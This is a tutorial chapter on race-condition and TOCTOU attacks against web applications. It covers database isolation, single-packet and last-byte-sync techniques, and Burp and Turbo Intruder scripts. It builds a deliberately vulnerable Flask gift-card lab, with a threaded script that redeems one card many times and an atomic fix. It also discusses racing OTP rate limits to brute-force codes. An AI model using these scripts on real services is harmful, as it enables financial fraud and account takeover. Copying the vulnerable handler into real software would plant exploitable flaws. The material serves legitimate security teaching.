Race Conditions & TOCTOU in Web Apps
This is Chapter 6 of the Server-Side notebook — Notebook 26 — and the last one in it. The five chapters before it all attacked the content of a single request: SSRF steered where a server reached out to, file upload steered what got stored and executed, path traversal steered which file was read, deserialization steered which objects were rebuilt, and request smuggling steered where one request ended and the next began. This chapter attacks something different: time. The bug here is not in any one request in isolation — each request may be perfectly valid and pass every check. The bug is in the assumption that requests run one at a time, and in the tiny window where two of them overlap.
A race condition is what you get when the correctness of a program depends on the timing or interleaving of concurrent operations, and that timing is not actually guaranteed. TOCTOU — time-of-check to time-of-use — is the most security-relevant flavour: the program checks a condition (“does this user have enough balance?”, “has this coupon been used?”, “is this the first request?”) and then, a few instructions later, acts on the result of that check (“deduct the balance”, “mark the coupon used”, “grant the reward”). If an attacker can slip a second operation in between the check and the use, the check becomes a lie. The classic one-liner: you check, I change, you use.
On a desktop or kernel these bugs are old news — access()-then-open() symlink races, signal
handlers, /tmp file races. What makes the web version its own discipline is the transport. HTTP is
request/response and stateless by design, so developers reason about one request at a time and
forget that a real server handles hundreds concurrently. Add a database whose default isolation level
permits exactly the interleavings that break naïve “read, decide, write” logic, and you have a bug
class that sits underneath features that looked completely correct in code review. It is also, right
now, one of the highest-signal things a bug-bounty hunter can test for on any application that touches
money, quotas, or state transitions — and one of the easiest to prove decisively once you have the
right tool.
By the end of this chapter you will understand concurrency and database isolation from first principles, be able to recognise the code and feature patterns that hide a race, exploit every common web race variant by hand and with Turbo Intruder’s single-packet attack, and — just as importantly — write the fix. Everything here assumes an authorized target: your own lab, a program that permits it in scope, or a deliberately vulnerable app. Racing endpoints on a live third-party service you have no permission to test can duplicate real money, corrupt real data, and is both a crime and an ethics failure. Prove it on your lab, then prove it once, non-destructively, on an in-scope target.
Part 1: The Prerequisite — Concurrency, Threads, and Why “One at a Time” Is a Lie
Section titled “Part 1: The Prerequisite — Concurrency, Threads, and Why “One at a Time” Is a Lie”Before any race makes sense, you need an honest model of how a web server actually executes requests. The mental model most developers carry — “a request comes in, my handler runs top to bottom, then the next request runs” — is wrong for essentially every production deployment.
A modern web server serves many requests concurrently. Concretely, that happens through one or more of these mechanisms:
- Multiple worker processes. Gunicorn, uWSGI, PHP-FPM, and Puma spin up N worker processes
(often
2 × cores + 1). Each is a separate OS process handling requests independently and in parallel on different CPU cores. - Multiple threads per process. A single worker may run a thread pool (Java servlet containers, Python threaded servers, Puma threads). Threads within a process share memory, which is where in-process shared-state races live.
- Async event loops. Node.js, Python
asyncio, Go goroutines — a single thread cooperatively multiplexes thousands of in-flight requests, suspending one at everyawait/I/O boundary and resuming another. There’s no OS-level parallelism inside one event loop, but there is interleaving: request B can run in the gap where request A is waiting on the database.
The key consequence for security: between any two lines of your handler, another request’s handler may run. If line 1 reads a value and line 3 writes based on it, another request can read the same old value at line 1 before your line 3 runs. Both then write. One of the two updates is lost.
sequenceDiagram
participant A as Request A (thread 1)
participant DB as Shared State (DB row: balance=100)
participant B as Request B (thread 2)
A->>DB: READ balance = 100
B->>DB: READ balance = 100
Note over A,B: both read the SAME old value
A->>DB: WRITE balance = 100 - 100 = 0
B->>DB: WRITE balance = 100 - 100 = 0
Note over DB: two withdrawals of 100 from a 100 balance
That diagram is the entire bug class in one picture. Everything else is a variation on what the shared state is (a database row, a Redis counter, a file, an in-memory variable), how big the window between read and write is, and how the attacker forces the interleaving.
Some vocabulary you’ll use throughout:
- Critical section — a span of code that must not be interrupted by another operation on the same shared state to stay correct (the read-decide-write above).
- Atomicity — an operation is atomic if it appears to happen all-at-once with no observable
intermediate state.
x += 1in most languages is not atomic: it’s read, add, write. - Data race — two concurrent accesses to the same location where at least one is a write and there’s no synchronisation. Undefined/unreliable results.
- Race condition — the broader correctness problem: the outcome depends on timing. TOCTOU is a race condition where the timing gap sits between a check and the action that trusts it.
- Idempotency — an operation is idempotent if doing it twice has the same effect as doing it once. Non-idempotent state changes (increment, append, “create if not exists” done wrong) are the ones races duplicate.
Security relevance up front: you don’t need a multi-threaded language to be vulnerable. A
single-threaded Node app is racy the moment its handler awaits the database between checking and
updating, because another connection’s query can complete in that gap. The fix is never “use fewer
threads”; it’s “make the check-and-use atomic at the layer that actually enforces it” — almost always
the database.
Part 2: TOCTOU — The Check/Use Gap, Formalised
Section titled “Part 2: TOCTOU — The Check/Use Gap, Formalised”TOCTOU deserves its own precise treatment because naming the two moments is how you find the bug in code. Every TOCTOU has exactly two events on the same subject:
- Time Of Check (TOC): the program observes a property of some shared state and decides to
proceed.
if (user.balance >= amount),if (!coupon.used),if (invites_sent < 5),if (not os.path.exists(path)). - Time Of Use (TOU): the program performs the privileged/irreversible action that the check was
supposed to gate.
user.balance -= amount,coupon.used = True,send_invite(),open(path, 'w').
The vulnerability exists whenever the state checked at TOC can change before TOU, and nothing re-validates it atomically at TOU. The attacker’s whole job is to make many TOUs execute against the single TOC-era snapshot of the world.
flowchart LR
A[Time Of Check<br/>read state, decide OK] -->|window| B[Time Of Use<br/>act on the decision]
X[Attacker's second request<br/>lands in the window] -.mutates state.-> B
B --> C[Action runs against<br/>stale, no-longer-true check]
A worked, non-web analogy that every security engineer should carry: the classic setuid file race.
/* VULNERABLE: check-then-use on a path the attacker controls */if (access("/tmp/report", W_OK) == 0) { /* TOC: am I allowed to write it? */ /* attacker swaps /tmp/report for a symlink to /etc/passwd here */ int fd = open("/tmp/report", O_WRONLY); /* TOU: writes wherever the name now points */ write(fd, attacker_data, len);}access() checks the real UID’s permission on whatever the name pointed to then; open() acts on
whatever it points to now. Between them the attacker replaces the file with a symlink. The web
equivalent replaces “swap a symlink” with “fire a second HTTP request”, and replaces “the filesystem”
with “a database row, a counter, or a session variable”. Same skeleton, different transport.
The reason this matters for finding bugs: when you audit code (yours or, in a bounty, inferred from behaviour), you are hunting for a read/check and a later write that trust each other but are not inside one atomic operation or one lock. Once you can name the TOC and the TOU and see daylight between them, you’ve found the candidate.
Bug-bounty framing: you rarely see the code. So you infer the check/use gap from the feature: anything described as “one per customer”, “up to N”, “single use”, “first N wins”, “can only be done once” is a check/use pair by definition, and is worth a parallel-request test.
Part 3: Where the State Lives — Databases, Isolation, and Locking From Scratch
Section titled “Part 3: Where the State Lives — Databases, Isolation, and Locking From Scratch”Almost every exploitable web race ultimately resolves at the database, so you must understand how databases choose to allow or forbid the bad interleaving. This is the single most important section for both attacking and fixing.
Transactions and ACID
Section titled “Transactions and ACID”A transaction groups statements so they commit all-or-nothing. ACID is its contract:
- Atomicity — all statements commit or none do.
- Consistency — a committed transaction leaves the DB in a valid state (constraints hold).
- Isolation — concurrent transactions don’t step on each other as if they ran serially… but only up to the configured isolation level. This is the knob races live and die on.
- Durability — once committed, it survives a crash.
The dangerous word is “isolation”, because the default isolation level on most databases is not “behave as if everything ran one at a time.” It’s weaker, for performance.
The four SQL isolation levels and the anomalies they permit
Section titled “The four SQL isolation levels and the anomalies they permit”| Isolation level | Dirty read | Non-repeatable read | Phantom read | Lost update / write skew | Default in |
|---|---|---|---|---|---|
| READ UNCOMMITTED | possible | possible | possible | possible | (rare) |
| READ COMMITTED | no | possible | possible | possible | PostgreSQL, Oracle, SQL Server |
| REPEATABLE READ | no | no | possible* | possible (write skew) | MySQL/InnoDB |
| SERIALIZABLE | no | no | no | no | (opt-in) |
*MySQL’s InnoDB REPEATABLE READ prevents many phantoms via next-key locks; PostgreSQL’s REPEATABLE READ is snapshot isolation and still allows write skew. Details differ per engine — never assume, test.
The two anomalies that cause almost all web money bugs:
- Lost update: T1 reads balance=100, T2 reads balance=100, T1 writes 0, T2 writes 0. One deduction vanished. This is the Part 1 diagram, at the DB layer. Permitted at READ COMMITTED and (as a read-modify-write) at REPEATABLE READ unless you lock.
- Write skew: T1 and T2 each read a set of rows, each individually decides its write is fine, and together they violate an invariant that neither could see the other approaching. Example: “at least one admin must remain” — two admins concurrently remove themselves, each sees one other admin still present at check time, both commit, zero admins remain.
This is why “wrap it in a transaction” is not automatically a fix. A transaction at READ COMMITTED still lets both requests read the old balance. Isolation level and/or explicit locking is what closes the window — covered fully in Part 12.
Locking, from zero
Section titled “Locking, from zero”A lock is a claim on a resource that forces other operations to wait. Two kinds you must know:
- Pessimistic locking — take the lock before you read, assuming conflict is likely. In SQL:
SELECT … FOR UPDATEreads a row and locks it so any other transaction that tries toSELECT … FOR UPDATEorUPDATEthe same row blocks until you commit. This serialises the critical section on that row. It’s the sledgehammer that reliably kills read-modify-write races. - Optimistic locking — assume conflict is rare; read a version column, do your work, then
UPDATE … SET version = version + 1 WHERE id = ? AND version = <what I read>. If someone else moved first,versionno longer matches, zero rows update, and you retry. No blocking, but you must handle the retry.
And the single most underused fix of all — the atomic conditional write:
-- Not: SELECT balance; if enough, UPDATE balance = balance - amt-- Instead, one statement whose WHERE clause re-checks under the row lock:UPDATE accounts SET balance = balance - :amtWHERE id = :id AND balance >= :amt;-- affected_rows == 1 -> success; == 0 -> insufficient funds, no race possibleBecause a single UPDATE takes a row-level write lock and evaluates its WHERE at write time under
that lock, there is no check/use gap: the check is the use. Memorise this pattern — it fixes a
huge fraction of real races with one line.
Part 4: A Taxonomy of Web Races — The Shapes You Will Actually Meet
Section titled “Part 4: A Taxonomy of Web Races — The Shapes You Will Actually Meet”Not all web races are the same shape. Classifying the target tells you which tool and which payload to reach for. James Kettle’s research and PortSwigger’s Web Security Academy popularised this taxonomy; these are the categories worth carrying in your head.
mindmap
root((Web Race Conditions))
Limit overrun
Balance / withdrawal
Gift cards & coupons
Discount codes
Rate limits & CAPTCHA
Votes / likes / stock
State machine races
Multi-endpoint (order to pay to ship)
Single-endpoint partial construction
TOCTOU on non-DB state
Filesystem / upload paths
Session objects
Cache entries
Multi-step one-shot flows
Password reset token reuse
2FA verification
OAuth code exchange
- Limit-overrun races are the bread and butter: some counter or balance is checked against a limit, and firing N requests in parallel makes the effective count exceed the limit — redeem one gift card many times, apply a coupon repeatedly, withdraw more than you have, cast multiple votes, buy the last unit many times. Almost always the highest-severity and easiest to prove.
- Multi-endpoint races exploit a state machine spread across endpoints — apply a discount at
/cartwhile the price is confirmed at/checkout; add funds and spend them in the same instant. The window is the gap between two different requests reaching two handlers. - Single-endpoint partial-construction races exploit a handler that, mid-execution, leaves an object in an intermediate state another concurrent request can observe or act on — the “hidden multi-step sequence within a single request” class.
- TOCTOU on non-DB state — the file/upload/symlink family, session-object mutation, cache poisoning windows. Same skeleton, different store.
- Multi-step one-shot flows — reset tokens, 2FA codes, OAuth authorization codes that are supposed to be single-use; racing the exchange lets one code redeem twice, or lets a brute-force reuse a code that should have been invalidated.
The rest of the chapter goes deep on the mechanics of each, then the tooling, then a real lab, then the fixes.
Part 5: Limit-Overrun Races — The Core Exploit, Step by Step
Section titled “Part 5: Limit-Overrun Races — The Core Exploit, Step by Step”Take the canonical vulnerable endpoint: redeem a single-use gift card / coupon for account credit.
# VULNERABLE Flask handler — the archetype of the whole chapter@app.post("/redeem")def redeem(): code = request.form["code"] card = db.execute("SELECT id, amount, redeemed FROM gift_cards WHERE code=?", (code,)).fetchone() if not card or card["redeemed"]: # ---- TIME OF CHECK ---- return "Invalid or already redeemed", 400 # ... a few instructions of latency: logging, balance lookup, etc. ... db.execute("UPDATE users SET balance = balance + ? WHERE id=?", (card["amount"], session["uid"])) db.execute("UPDATE gift_cards SET redeemed=1 WHERE id=?", (card["id"],)) # -- TIME OF USE -- db.commit() return "Redeemed!", 200Serially this is fine: the second redeem sees redeemed=1 and is rejected. But look at the window.
Between the SELECT (TOC) and the two UPDATEs (TOU) there is real elapsed time — a DB round trip, a
log line, maybe a network hop to another service. If two requests both execute the SELECT before
either runs the UPDATE, both see redeemed=0, both proceed, and the card credits twice. Fire
20 in parallel and a $10 card can become $200 of balance.
sequenceDiagram
participant R1 as Redeem #1
participant R2 as Redeem #2
participant DB as gift_cards row (redeemed=0)
R1->>DB: SELECT redeemed -> 0 (OK)
R2->>DB: SELECT redeemed -> 0 (OK)
Note over R1,R2: both passed the check on the same snapshot
R1->>DB: UPDATE balance += amount
R2->>DB: UPDATE balance += amount
R1->>DB: UPDATE redeemed = 1
R2->>DB: UPDATE redeemed = 1
Note over DB: card redeemed twice, balance credited twice
The exploitation recipe
Section titled “The exploitation recipe”- Get one known-good request. Log in, capture the exact
POST /redeemthat succeeds once (headers, cookies, CSRF token, body) in your proxy. - Make it repeatable enough to matter. You want the same single-use action fired many times with as little time between them as possible, so they overlap inside the check/use window.
- Send them as simultaneously as the transport allows. This is the crux and the reason tooling
matters: if request 2 arrives after request 1 has already committed
redeemed=1, you lose. You need the requests to hit the check before any of them hits the use. - Measure the outcome, not the responses. Some races return the same 200 for every request even when only one “really” took effect; others return 200 for all N when all N took effect. Judge by the side effect — final balance, number of coupons consumed, units shipped — not by counting 200s.
The naïve version of step 3 — a for loop firing requests one after another — usually fails, because
sequential requests don’t overlap; each finishes (including its commit) before the next starts. You
need genuine concurrency, and ideally you need to defeat network jitter, which is what Parts 7–9
are about. First, the older baseline technique.
Part 6: The “Last-Byte Sync” Baseline (and Why It Was Superseded)
Section titled “Part 6: The “Last-Byte Sync” Baseline (and Why It Was Superseded)”Before the single-packet attack, the state of the art for HTTP/1.1 was last-byte synchronisation, and it’s still worth understanding because it explains why jitter is the enemy.
The idea: open N connections, send all of each request except the final byte, wait, then send the final byte of all N requests at once. The server can’t begin processing a request until it’s complete, so withholding the last byte “arms” all N requests; releasing the final bytes together makes the server start all N as close to simultaneously as possible.
1. Open 20 TCP connections, complete TLS on each.2. On each, send the full request MINUS the last 1 byte of the body.3. Sleep ~100 ms so all 20 are parked at the server, waiting for their last byte.4. Send the final byte on all 20 connections in a tight loop / together.5. All 20 handlers start within a few ms of each other.This dramatically shrinks the spread versus a plain loop, but it does not eliminate it. Each of the 20 final bytes still travels in its own TCP packet on its own connection, so they arrive smeared across a window governed by network jitter — typically a few milliseconds of spread even on a fast link, and much worse over the public internet. If the server’s check/use window is, say, 1 ms, a 3–5 ms arrival spread means many of your requests miss the window and the attack is flaky: it works 1 try in 10, needs hundreds of connections, and produces noisy, hard-to-reproduce results.
The takeaway that motivates the next section: the limiting factor was never the server — it was the jitter between your packets. Kill the jitter and you kill the flakiness. That is exactly what the single-packet attack does.
Part 7: The Single-Packet Attack — Removing Network Jitter Entirely
Section titled “Part 7: The Single-Packet Attack — Removing Network Jitter Entirely”The single-packet attack (James Kettle, “Smashing the state machine”, 2023) is the technique that turned web races from flaky to deterministic. It exploits HTTP/2’s multiplexing to place many complete requests into one TCP packet, so the server receives them all at literally the same instant and there is no inter-request jitter to spread them out.
Why HTTP/2 makes this possible
Section titled “Why HTTP/2 makes this possible”HTTP/1.1 puts one request per connection at a time (barring pipelining, which is unreliable). HTTP/2
multiplexes many concurrent streams over one TCP connection, each request framed independently. If
you can arrange for the final frames of ~20–30 requests to be written into a single TCP segment,
the server reads that one segment in one recv() and hands all ~20 requests to worker threads with
effectively zero time between them.
sequenceDiagram
participant C as Client (HTTP/2)
participant N as Network
participant S as Server
C->>C: Prepare 25 requests, hold back the last frame of each
C->>N: Write all 25 final frames into ONE TCP packet
N->>S: Single segment delivered in one recv()
S->>S: Dequeue 25 requests with ~0ms spread
Note over S: all 25 hit the check before any hits the use
The practical effect: instead of a 3–5 ms arrival spread, you get sub-100-microsecond spread. Windows that were unhittable with last-byte sync become reliably hittable. In Kettle’s testing this collapsed races that needed hundreds of attempts into ones that fire in a single click.
What if the target is HTTP/1.1 only?
Section titled “What if the target is HTTP/1.1 only?”You can still get most of the benefit with last-byte sync over HTTP/1.1 (Part 6), and Turbo Intruder / Burp will automatically fall back to it. The single-packet attack specifically needs HTTP/2 (or HTTP/3) to the front-end. Many big targets speak HTTP/2 at the edge even if the origin is HTTP/1.1, which is fine — you’re racing whatever terminates your connection.
Constraints to remember
Section titled “Constraints to remember”- ~20–30 requests per packet is the practical ceiling (limited by TCP segment size / initial congestion window). That’s plenty for most limit-overruns; you don’t need thousands.
- Requests must be complete except their final frame at send time, exactly like last-byte sync, just multiplexed.
- The tooling (next part) implements all of this. You rarely hand-roll it; you select the engine.
Part 8: The Toolkit — Burp Repeater Parallel Groups and Turbo Intruder From Zero
Section titled “Part 8: The Toolkit — Burp Repeater Parallel Groups and Turbo Intruder From Zero”Two tools cover 95% of web-race testing. Teach yourself both from scratch here; you’ll use them in the lab.
8.1 Burp Suite Repeater — “Send group in parallel (single connection)”
Section titled “8.1 Burp Suite Repeater — “Send group in parallel (single connection)””What Burp Suite is (from zero): Burp Suite is an intercepting HTTP proxy and testing platform. It
sits between your browser and the target, lets you view/modify every request, and provides tools like
Repeater (hand-edit and resend a single request repeatedly) and Intruder (automated payload
injection). Install: it ships preinstalled on Kali (burpsuite), or download the Community edition
from PortSwigger. Configure your browser (or Burp’s built-in browser) to proxy through
127.0.0.1:8080 and install Burp’s CA certificate so HTTPS is intercepted.
Since 2022, Burp Repeater has a tab group feature that implements the single-packet attack for you — no extension needed for the common case:
- Capture the target request (e.g.
POST /redeem) and send it to Repeater (Ctrl+R). - Duplicate the Repeater tab ~20 times (right-click → Duplicate tab, or
Ctrl+Rrepeatedly from Proxy). - Select all the tabs → right-click → Add tabs to group → name it.
- Click the send-mode dropdown next to Send and choose “Send group in parallel (single connection)”. On an HTTP/2 target this uses the single-packet attack; on HTTP/1.1 it uses last-byte sync automatically.
- Send. Inspect each tab’s response; more importantly, inspect the side effect (your balance, the coupon count) out of band.
The sibling mode “Send group in sequence (single connection)” is for ordered multi-step races, not parallel overruns — don’t confuse them.
Why start here: it’s the fastest way to prove a simple limit-overrun with zero scripting, and its single-connection parallel mode is genuinely the single-packet attack. For anything needing dynamic data (a fresh CSRF token per request, gate-and-release timing, thousands of attempts), move to Turbo Intruder.
8.2 Turbo Intruder — the scriptable race engine
Section titled “8.2 Turbo Intruder — the scriptable race engine”What Turbo Intruder is (from zero): a Burp extension (install from the BApp Store: Extensions → BApp Store → Turbo Intruder → Install) that provides a high-performance HTTP engine driven by a small Python (Jython) script. It can send tens of thousands of requests with custom concurrency and — crucially — ships a purpose-built engine for race conditions. You drive it by right-clicking a request → Extensions → Turbo Intruder → Send to turbo intruder, editing the script, and clicking Attack.
The two engine features that matter for races:
engine=Engine.BURP2with HTTP/2 enables the single-packet attack.engine.openGate()/engine.sendGate()(the “gate” API) queue requests behind a named gate and release them together — the software equivalent of last-byte sync, and the fallback when single-packet isn’t available.
A minimal single-packet race template (this is close to the official example Turbo Intruder ships):
def queueRequests(target, wordlists): # BURP2 engine + concurrentConnections=1 + HTTP/2 => single-packet attack engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2)
# Queue 30 copies of the SAME request. The last-byte/frames are held back # and released together automatically by the BURP2 single-packet path. for i in range(30): engine.queue(target.req, gate='race1')
# Release every queued request at once. engine.openGate('race1')
def handleResponse(req, interesting): table.add(req) # log every response so you can diff status/length/bodytarget.endpoint/target.reqare provided by Turbo Intruder from the request you sent it.concurrentConnections=1+Engine.BURP2is the single-packet configuration (all requests share one connection and go out together).gate='race1'tags the requests;openGate('race1')fires them simultaneously.handleResponselogs each response into the results table so you can sort by status code / length and spot the ones that “won”.
If the target is HTTP/1.1, swap to the classic gate pattern:
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=1, pipeline=False) for i in range(30): engine.queue(target.req, gate='race1') engine.openGate('race1') # last-byte sync across 30 connections| Feature | Repeater parallel group | Turbo Intruder |
|---|---|---|
| Single-packet attack | Yes (HTTP/2 auto) | Yes (Engine.BURP2 + HTTP/2) |
| Setup effort | Point-and-click | Small Jython script |
| Per-request dynamic data (fresh token) | No | Yes (script it) |
| Volume (100s–1000s of tries) | Awkward | Native |
| Best for | Prove a simple overrun fast | Real, tunable, repeatable attacks |
Rule of thumb: reach for the Repeater parallel group first to confirm a bug exists in seconds; move to Turbo Intruder when you need volume, fresh tokens per request, or gate-and-release control.
Part 9: Hands-On Lab — Build, Break, and Fix a Real Gift-Card Race
Section titled “Part 9: Hands-On Lab — Build, Break, and Fix a Real Gift-Card Race”This is a complete, reproducible lab you can run locally. It stands up a deliberately vulnerable Flask app backed by SQLite, exploits the redeem race, and then applies the fix and proves it holds. Run it only on your own machine.
9.1 Set up the vulnerable app
Section titled “9.1 Set up the vulnerable app”# Kali / any Linux. Isolate deps in a venv.mkdir race-lab && cd race-labpython3 -m venv venv && source venv/bin/activatepip install flaskCreate app.py:
# app.py — DELIBERATELY VULNERABLE. Local lab only.import sqlite3, timefrom flask import Flask, request, g, session
app = Flask(__name__)app.secret_key = "lab-only"DB = "lab.db"
def db(): if "db" not in g: g.db = sqlite3.connect(DB) g.db.row_factory = sqlite3.Row return g.db
@app.teardown_appcontextdef close(_): d = g.pop("db", None) if d: d.close()
@app.route("/init")def init(): d = sqlite3.connect(DB); c = d.cursor() c.executescript(""" DROP TABLE IF EXISTS users; DROP TABLE IF EXISTS gift_cards; CREATE TABLE users(id INTEGER PRIMARY KEY, name TEXT, balance INTEGER); CREATE TABLE gift_cards(id INTEGER PRIMARY KEY, code TEXT, amount INTEGER, redeemed INTEGER); INSERT INTO users(id,name,balance) VALUES(1,'victim',0); INSERT INTO gift_cards(code,amount,redeemed) VALUES('GIFT-10',10,0); """) d.commit(); d.close() return "initialised: user 1 balance=0, card GIFT-10 worth 10\n"
@app.post("/redeem")def redeem(): session["uid"] = 1 # pretend we're logged in as user 1 code = request.form["code"] card = db().execute( "SELECT id, amount, redeemed FROM gift_cards WHERE code=?", (code,)).fetchone() if not card or card["redeemed"]: # ---- TIME OF CHECK ---- return "invalid or already redeemed\n", 400 time.sleep(0.05) # widen the window so the race is easy to see db().execute("UPDATE users SET balance = balance + ? WHERE id=?", (card["amount"], session["uid"])) db().execute("UPDATE gift_cards SET redeemed=1 WHERE id=?", (card["id"],)) # -- USE -- db().commit() row = db().execute("SELECT balance FROM users WHERE id=1").fetchone() return f"redeemed! balance now {row['balance']}\n", 200
@app.get("/balance")def balance(): row = sqlite3.connect(DB).execute("SELECT balance FROM users WHERE id=1").fetchone() return f"balance={row[0]}\n"
if __name__ == "__main__": # threaded=True so the dev server actually serves requests concurrently app.run(port=5000, threaded=True)The
time.sleep(0.05)is a teaching aid: it widens the check/use window so the race fires reliably even without single-packet precision. Real targets have windows measured in microseconds — that’s what the single-packet attack is for. Remove the sleep later and re-run to feel the difference.
Start it and initialise:
python app.py &curl -s http://127.0.0.1:5000/init# initialised: user 1 balance=0, card GIFT-10 worth 109.2 Prove the serial case is safe
Section titled “9.2 Prove the serial case is safe”curl -s -X POST -d 'code=GIFT-10' http://127.0.0.1:5000/redeem# redeemed! balance now 10curl -s -X POST -d 'code=GIFT-10' http://127.0.0.1:5000/redeem# invalid or already redeemedcurl -s http://127.0.0.1:5000/balance# balance=10One at a time, the logic is correct: the card redeems once, balance is 10. Re-init before the attack:
curl -s http://127.0.0.1:5000/init9.3 Exploit it — a self-contained concurrent client
Section titled “9.3 Exploit it — a self-contained concurrent client”You can drive this with Burp Repeater’s parallel group or Turbo Intruder against
http://127.0.0.1:5000/redeem. For a fully scripted, tool-free proof that anyone can run, here is a
threaded Python attacker that fires 20 redeems as simultaneously as threading.Barrier allows:
# attack.py — fire 20 redeems that all cross the check before any commitsimport threading, requests
URL = "http://127.0.0.1:5000/redeem"N = 20barrier = threading.Barrier(N) # all threads wait here, then release togetherresults = []
def worker(): barrier.wait() # gate: line everyone up, then GO r = requests.post(URL, data={"code": "GIFT-10"}) results.append((r.status_code, r.text.strip()))
threads = [threading.Thread(target=worker) for _ in range(N)]for t in threads: t.start()for t in threads: t.join()
ok = sum(1 for s, _ in results if s == 200)print(f"{ok}/{N} redemptions returned 200")for s, b in results[:5]: print(s, b)pip install requestspython attack.pyRealistic output (numbers vary run to run, that’s the nature of a race):
14/20 redemptions returned 200200 redeemed! balance now 10200 redeemed! balance now 40200 redeemed! balance now 70200 redeemed! balance now 90200 redeemed! balance now 130Now check the ground truth:
curl -s http://127.0.0.1:5000/balance# balance=140A $10 single-use card credited $140 because 14 requests crossed the SELECT check while
redeemed was still 0. That is a limit-overrun race, proven end to end. (With Turbo Intruder’s
single-packet engine you’d get the same result against a target whose window is microseconds, where the
threading.Barrier approach would mostly miss.)
9.4 Fix it and prove the fix holds
Section titled “9.4 Fix it and prove the fix holds”Replace the check/use pair with a single atomic conditional UPDATE — the check is the use, under the row lock:
@app.post("/redeem")def redeem(): session["uid"] = 1 code = request.form["code"] d = db() # Atomically flip redeemed 0 -> 1 and only proceed if WE were the one who flipped it. cur = d.execute( "UPDATE gift_cards SET redeemed=1 WHERE code=? AND redeemed=0", (code,)) if cur.rowcount == 0: # someone else already claimed it (or bad code) d.commit() return "invalid or already redeemed\n", 400 amount = d.execute("SELECT amount FROM gift_cards WHERE code=?", (code,)).fetchone()["amount"] d.execute("UPDATE users SET balance = balance + ? WHERE id=?", (amount, session["uid"])) d.commit() row = d.execute("SELECT balance FROM users WHERE id=1").fetchone() return f"redeemed! balance now {row['balance']}\n", 200The winning request is the exactly-one transaction whose UPDATE … WHERE redeemed=0 affects a row;
every other concurrent request sees rowcount == 0 because the row is now redeemed=1 and is rejected.
Re-init, re-run attack.py:
curl -s http://127.0.0.1:5000/initpython attack.py# 1/20 redemptions returned 200curl -s http://127.0.0.1:5000/balance# balance=10Exactly one redemption, balance 10, no matter how many requests you fire or how tight the timing. The window is gone because there is no longer a gap between the check and the use. Keep this lab; you’ll reuse the “atomic conditional write” pattern constantly in Part 12.
Part 10: Multi-Endpoint and State-Machine Races
Section titled “Part 10: Multi-Endpoint and State-Machine Races”Limit-overruns race the same endpoint. The subtler class races different endpoints that share state, exploiting the gap between two handlers in a workflow.
The pattern
Section titled “The pattern”An e-commerce flow: POST /cart/apply-coupon records a discount on the cart; POST /checkout reads the
cart, charges the (discounted) total, and marks the coupon consumed. If “one coupon per order” is
enforced at apply-coupon by checking “does this cart already have a coupon?”, firing two
apply-coupon requests in parallel can attach the discount twice (each sees “no coupon yet”), stacking
a 20%-off code into 40% off. Or: apply-coupon on two different carts with a single-use code before
either checkout marks it used.
Another archetype — balance top-up vs spend: /wallet/add credits funds from a pending source that
can later be reversed; /wallet/spend debits. Racing an add against a spend, or racing a
transfer-out against a transfer-in on the same balance, can realise value that later reversal can’t
claw back.
flowchart TD
subgraph "Intended serial flow"
A1[apply coupon<br/>cart has none -> attach] --> A2[checkout<br/>consume coupon, mark used]
end
subgraph "Raced flow"
B1[apply coupon #1<br/>sees no coupon]
B2[apply coupon #2<br/>ALSO sees no coupon]
B1 --> B3[both attach the discount]
B2 --> B3
B3 --> B4[checkout at double discount]
end
How to test multi-endpoint races
Section titled “How to test multi-endpoint races”For a fixed two-step sequence you want fired in tight order, Burp Repeater’s “Send group in sequence (single connection)” issues the grouped requests back-to-back over one connection, minimising the inter-request gap — ideal for “A then B, as close together as possible.” For “N copies of the same step simultaneously,” use the parallel group. Turbo Intruder scripts arbitrary combinations: queue some requests behind a gate, queue others, and release.
Bug-bounty angle: multi-endpoint races are where the big payouts hide, because they exploit business invariants (“a coupon is worth one use”, “a transfer is zero-sum”) that no single endpoint’s code appears to violate. When you find a “check on endpoint A, enforce on endpoint B” split, test it.
Part 11: Single-Endpoint Partial-Construction and Rate-Limit Races
Section titled “Part 11: Single-Endpoint Partial-Construction and Rate-Limit Races”Two more sub-classes round out the practical repertoire.
11.1 Partial construction (“hidden multi-step within one request”)
Section titled “11.1 Partial construction (“hidden multi-step within one request”)”Some handlers create related records in sequence and briefly leave the system in a state a concurrent request can exploit. Classic example: a signup/registration handler that (1) inserts the user row, then (2) sends a verification email keyed on the just-inserted row. Race two registrations for the same email and, depending on ordering and constraints, you may get two half-built accounts, an account whose email is verified by another user’s link, or a state where uniqueness was checked before insert but both inserts slipped through (the classic “check username not taken, then insert” race that a unique constraint would have stopped). Kettle’s research calls this exploiting “the hidden multi-step sequence inside a single request.”
The tell in behaviour: an operation that clearly does several sub-steps (create A, then link B to A, then finalise) where a concurrent duplicate could interleave with the sub-steps.
11.2 Rate-limit, CAPTCHA, and anti-automation bypass
Section titled “11.2 Rate-limit, CAPTCHA, and anti-automation bypass”Rate limiting is itself a check/use pair: check the counter for this IP/user, use by allowing the request and then incrementing. Race it and many requests read “0 so far” before any increment lands, so you get N free attempts past a “1 per minute” limit. This turns a throttled login/OTP endpoint into a brute-forceable one.
sequenceDiagram
participant A as 20 login attempts (parallel)
participant RL as Rate limiter (counter=0, limit=1)
A->>RL: 20x check counter -> all see 0 (< 1)
RL-->>A: all 20 allowed
A->>RL: 20x increment
Note over RL: 20 attempts got through a 1-per-window limit
Impact chain: racing the rate limiter on a password-reset OTP or 2FA code endpoint lets you try far more codes per window than intended, collapsing a 6-digit code’s brute-force cost. Racing a “resend/verify token” flow can let a single one-time token be consumed twice. This is why “we rate limit OTP to 5/min” is not, by itself, a safe design — if the check and the increment aren’t atomic, the limit is advisory.
Blue-team note: rate limits must be enforced with an atomic operation (Redis INCR returns the new
value in one round trip — check that return value, don’t GET then SET) or the limiter is itself
racy.
Part 12: Detection & Defense Angle — Closing Every Window
Section titled “Part 12: Detection & Defense Angle — Closing Every Window”This is the section to internalise if you build software. Each defense maps to a specific failure mode from earlier parts. The unifying principle: make the check and the use one atomic operation at the layer that actually enforces the invariant — the database — and enforce invariants with constraints, not application logic.
12.1 Atomic conditional writes (fixes most limit-overruns)
Section titled “12.1 Atomic conditional writes (fixes most limit-overruns)”Never read-decide-write across a round trip. Fold the check into the write’s WHERE:
-- Withdrawal / balance debit: no separate SELECTUPDATE accounts SET balance = balance - :amtWHERE id = :id AND balance >= :amt; -- rowcount 1 = success, 0 = insufficient
